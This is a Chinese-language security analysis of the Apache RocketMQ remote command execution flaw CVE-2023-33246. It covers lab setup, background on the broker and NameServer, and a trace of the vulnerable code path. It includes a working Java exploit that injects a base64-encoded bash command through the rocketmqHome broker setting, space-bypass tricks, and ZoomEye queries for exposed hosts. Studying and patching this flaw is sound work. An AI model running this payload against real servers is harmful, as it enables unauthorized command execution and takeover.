作者:[email protected]知道创宇404实验室
日期:2023年6月8日
1. 漏洞介绍
2. 漏洞版本
4.0.0 <= Apache RocketMQ < 4.9.6
3. 环境搭建
docker pull apache/rocketmq:4.9.5
运行docker run命令,搭建docker环境
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
docker ps检查docker正常启动即可
https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip
4. RocketMQ简介
发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。
Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?
NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。
主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。
Broker主要负责消息的存储、投递和查询以及服务高可用保证。
NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。
在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。
在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。
代码中指定Name Server地址,多个namesrv地址之间用分号分割
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
Java启动参数中指定Name Server地址
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876
环境变量指定Name Server地址
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876
DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。
DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。
例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
在 Apache RocketMQ 中,FilterServerManager
类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。
5. 漏洞分析
补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:
在Broker启动时执行sh mqbroker...
,调用到BrokerStartup类:
在该类中继续调用到BrokerController中的start()方法
继续跟进
最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行
public void start() { this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。
但是要想成功触发命令执行还有两个问题需要解决一下:
1、在createFilterServer方法中,more的值要大于0才会触发callShell方法
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...
2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。
sh {可控}/bin/startfsrv.sh ...
,如果传入-c curl 127.0.0.1;
那么comArray为['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']
这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:
'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'
很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:
'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'
但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:
-c [email protected]|sh . echo curl 127.0.0.1;
[email protected]
作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给[email protected],解决了拆分命令的问题。
感谢[email protected]知道创宇404实验室带我探讨出第二个绕过方法:
顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:
-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
根据上面的知识,最终构造的payload为:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();
使用payload进行curl dnslog
,每隔30s左右收到一次请求:
在修复版本4.9.6和5.1.1中都是直接删除了filter server模块
使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。
6. 参考链接
[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn
[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc
[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec
[4] https://github.com/I5N0rth/CVE-2023-33246
[5] https://www.zoomeye.org
作者名片